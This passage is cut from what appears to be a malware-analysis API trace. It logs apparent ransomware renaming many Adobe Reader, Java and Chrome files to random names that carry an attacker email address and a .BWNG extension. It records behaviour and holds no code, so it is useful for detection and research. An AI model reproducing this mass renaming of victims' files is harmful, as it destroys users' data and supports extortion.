Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\heb32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\heb32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].47VfmO9s-G2fhBtDr.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].47vfmo9s-g2fhbtdr.bwng"), dwFlags=0x1) returned 1 [0112.706] GetTickCount () returned 0x1163d30 [0112.706] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25465865472) returned 1 [0112.707] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].uVTb4NcL-bGNImCxE.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].uvtb4ncl-bgnimcxe.bwng"), dwFlags=0x1) returned 1 [0112.708] GetTickCount () returned 0x1163d30 [0112.708] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25465999924) returned 1 [0112.708] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\itl.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\itl.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].lJtieM1q-QThuTJxD.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].ljtiem1q-qthutjxd.bwng"), dwFlags=0x1) returned 1 [0112.709] GetTickCount () returned 0x1163d30 [0112.709] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25466137913) returned 1 [0112.709] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\lit32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\lit32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].PdKygPmw-xTUgma05.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].pdkygpmw-xtugma05.bwng"), dwFlags=0x1) returned 1 [0112.710] GetTickCount () returned 0x1163d3f [0112.710] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25466273210) returned 1 [0112.711] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\slv137.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\slv137.lex"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].JBRwjGHo-VvVp4oRv.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].jbrwjgho-vvvp4orv.bwng"), dwFlags=0x1) returned 1 [0112.848] GetTickCount () returned 0x1163dbc [0112.848] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25479998372) returned 1 [0112.848] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Hong_Kong" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\hong_kong"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].WOlkZCBU-oq9oR4Sw.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].wolkzcbu-oq9or4sw.bwng"), dwFlags=0x1) returned 1 [0112.973] GetTickCount () returned 0x1163e39 [0112.973] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25492512203) returned 1 [0112.973] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Copenhagen" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\copenhagen"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].pFxdlSnq-guvXmgVZ.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].pfxdlsnq-guvxmgvz.bwng"), dwFlags=0x1) returned 1 [0112.975] GetTickCount () returned 0x1163e39 [0112.975] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25492707823) returned 1 [0112.975] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\nyn47.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\nyn47.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].OzsL8Oq1-yC01h8RA.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].ozsl8oq1-yc01h8ra.bwng"), dwFlags=0x1) returned 1 [0112.976] GetTickCount () returned 0x1163e49 [0112.976] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25492858144) returned 1 [0112.977] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\resources.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\resources.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\[billwong73@yahoo.com].dUh32mno-3zaeNn2I.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\[billwong73@yahoo.com].duh32mno-3zaenn2i.bwng"), dwFlags=0x1) returned 1 [0112.978] GetTickCount () returned 0x1163e49 [0112.978] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25493027068) returned 1 [0112.978] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\20170605115313.pma" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\setupmetrics\\20170605115313.pma"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\[billwong73@yahoo.com].AtgbYCP5-ugYPxC6n.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\setupmetrics\\[billwong73@yahoo.com].atgbycp5-ugypxc6n.bwng"), dwFlags=0x1) returned 1 [0112.980] GetTickCount () returned 0x1163e49 [0112.980] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25493192920) returned 1 [0112.980] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jp2launcher.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jp2launcher.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\[billwong73@yahoo.com].nZQgusTJ-rZ4kYYOB.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\[billwong73@yahoo.com].nzqgustj-rz4kyyob.bwng"), dwFlags=0x1) returned 1 [0112.981] GetTickCount () returned 0x1163e49 [0112.981] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25493320930) returned 1 [0112.981] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].yVuIuT6y-vzAeNvoI.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].yvuiut6y-vzaenvoi.bwng"), dwFlags=0x1) returned 1 [0112.982] GetTickCount () returned 0x1163e49 [0112.982] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25493461353) returned 1 [0112.983] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].SYQcmBWK-icicEV8a.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].syqcmbwk-icicev8a.bwng"), dwFlags=0x1) returned 1 [0112.983] GetTickCount () returned 0x1163e49 [0112.984] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25493574783) returned 1 [0112.984] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\rum124.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\rum124.lex"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].Y7boRt9U-6VxCmkdD.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].y7bort9u-6vxcmkdd.bwng"), dwFlags=0x1) returned 1 [0112.985] GetTickCount () returned 0x1163e49 [0112.985] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25493698509) returned 1 [0112.985] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\sgr32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\sgr32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].m0tYqBy0-fea94s5y.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].m0tyqby0-fea94s5y.bwng"), dwFlags=0x1) returned 1 [0112.986] GetTickCount () returned 0x1163e49 [0112.986] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25493839183) returned 1 [0112.986] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\spn.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\spn.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].gJxPAG5G-tc7kWbFH.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].gjxpag5g-tc7kwbfh.bwng"), dwFlags=0x1) returned 1 [0112.987] GetTickCount () returned 0x1163e49 [0112.987] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25493963431) returned 1 [0112.988] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\tur.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\tur.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].7fp8qct4-mNRM6ydb.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].7fp8qct4-mnrm6ydb.bwng"), dwFlags=0x1) returned 1 [0112.989] GetTickCount () returned 0x1163e49 [0112.989] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25494085153) returned 1 [0112.989] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ara131.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ara131.lex"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].N7q1zQbt-nFQm1z5v.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].n7q1zqbt-nfqm1z5v.bwng"), dwFlags=0x1) returned 1 [0112.990] GetTickCount () returned 0x1163e49 [0112.990] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25494217944) returned 1 [0112.990] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_UA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ua.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].R7KXGBQ2-369NTos9.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].r7kxgbq2-369ntos9.bwng"), dwFlags=0x1) returned 1 [0112.991] GetTickCount () returned 0x1163e58 [0112.991] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25494337556) returned 1 [0112.991] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy.jar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\[billwong73@yahoo.com].RN2IMsYn-1QYuMt2n.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\[billwong73@yahoo.com].rn2imsyn-1qyumt2n.bwng"), dwFlags=0x1) returned 1 [0112.992] GetTickCount () returned 0x1163e58 [0112.992] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25494466888) returned 1 [0112.993] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\icu\\icudt26l.dat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\[billwong73@yahoo.com].a9y9cLPK-GcI0SLRf.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\icu\\[billwong73@yahoo.com].a9y9clpk-gci0slrf.bwng"), dwFlags=0x1) returned 1 [0113.087] GetTickCount () returned 0x1163eb6 [0113.087] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25503935279) returned 1 [0113.088] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brz32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brz32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].YEjZJ3bz-F5a4ZXUs.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].yejzj3bz-f5a4zxus.bwng"), dwFlags=0x1) returned 1 [0113.089] GetTickCount () returned 0x1163eb6 [0113.089] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25504111291) returned 1 [0113.089] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\swd32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\swd32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].IL9DuMc2-v0Rj20u4.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].il9dumc2-v0rj20u4.bwng"), dwFlags=0x1) returned 1 [0113.090] GetTickCount () returned 0x1163eb6 [0113.091] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25504275043) returned 1 [0113.091] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CHINTRAD.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\chintrad.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\[billwong73@yahoo.com].xrLHvwyY-uqXxlX7V.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\[billwong73@yahoo.com].xrlhvwyy-uqxxlx7v.bwng"), dwFlags=0x1) returned 1 [0113.227] GetTickCount () returned 0x1163f42 [0113.227] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25517905942) returned 1 [0113.227] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\ReadOutLoud.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\readoutloud.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\[billwong73@yahoo.com].JN7kxyfW-XoSjbd4x.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\[billwong73@yahoo.com].jn7kxyfw-xosjbd4x.bwng"), dwFlags=0x1) returned 1 [0113.229] GetTickCount () returned 0x1163f42 [0113.229] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25518085172) returned 1 [0113.229] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\can32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\can32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].vOPNJQIn-ZLu77xIc.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].vopnjqin-zlu77xic.bwng"), dwFlags=0x1) returned 1 [0113.230] GetTickCount () returned 0x1163f42 [0113.230] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25518240898) returned 1 [0113.230] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cze.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cze.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].X5mP3X5N-XnjG15Tq.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].x5mp3x5n-xnjg15tq.bwng"), dwFlags=0x1) returned 1 [0113.232] GetTickCount () returned 0x1163f42 [0113.232] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25518377879) returned 1 [0113.232] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].SrbocNm1-JYP2JkH3.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].srbocnm1-jyp2jkh3.bwng"), dwFlags=0x1) returned 1 [0113.233] GetTickCount () returned 0x1163f42 [0113.233] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25518506519) returned 1 [0113.233] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\usa37.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\usa37.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].fgS29vSE-iEk8a8xK.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].fgs29vse-iek8a8xk.bwng"), dwFlags=0x1) returned 1 [0113.234] GetTickCount () returned 0x1163f42 [0113.234] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25518650243) returned 1 [0113.234] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\zipfs.jar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\[billwong73@yahoo.com].Bx7N3nxS-Q0DvYC0i.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\[billwong73@yahoo.com].bx7n3nxs-q0dvyc0i.bwng"), dwFlags=0x1) returned 1 [0113.236] GetTickCount () returned 0x1163f42 [0113.236] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25518788160) returned 1 [0113.236] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Accessibility.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\accessibility.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\[billwong73@yahoo.com].qQlowLEh-SQm5tbsF.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\[billwong73@yahoo.com].qqlowleh-sqm5tbsf.bwng"), dwFlags=0x1) returned 1 [0113.237] GetTickCount () returned 0x1163f42 [0113.237] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25518925508) returned 1 [0113.237] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brt04.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brt04.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].cnnT1FwE-5YSjZud4.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].cnnt1fwe-5ysjzud4.bwng"), dwFlags=0x1) returned 1 [0113.238] GetTickCount () returned 0x1163f42 [0113.238] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25519056875) returned 1 [0113.239] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\IA32.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\ia32.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\[billwong73@yahoo.com].767J8nXH-EW1vf1Ci.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\[billwong73@yahoo.com].767j8nxh-ew1vf1ci.bwng"), dwFlags=0x1) returned 1 [0113.240] GetTickCount () returned 0x1163f42 [0113.240] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25519184275) returned 1 [0113.240] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ARABIC.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\arabic.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\[billwong73@yahoo.com].vV070xsH-10oQF4uZ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\[billwong73@yahoo.com].vv070xsh-10oqf4uz.bwng"), dwFlags=0x1) returned 1 [0113.444] GetTickCount () returned 0x116401d [0113.444] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25539660648) returned 1 [0113.445] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidatypewriterbold.ttf"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\[billwong73@yahoo.com].HEr6ROTh-AdI0JQcx.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\[billwong73@yahoo.com].her6roth-adi0jqcx.bwng"), dwFlags=0x1) returned 1 [0113.446] GetTickCount () returned 0x116401d [0113.446] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25539863545) returned 1 [0113.447] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\SendMail.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\sendmail.rus"), 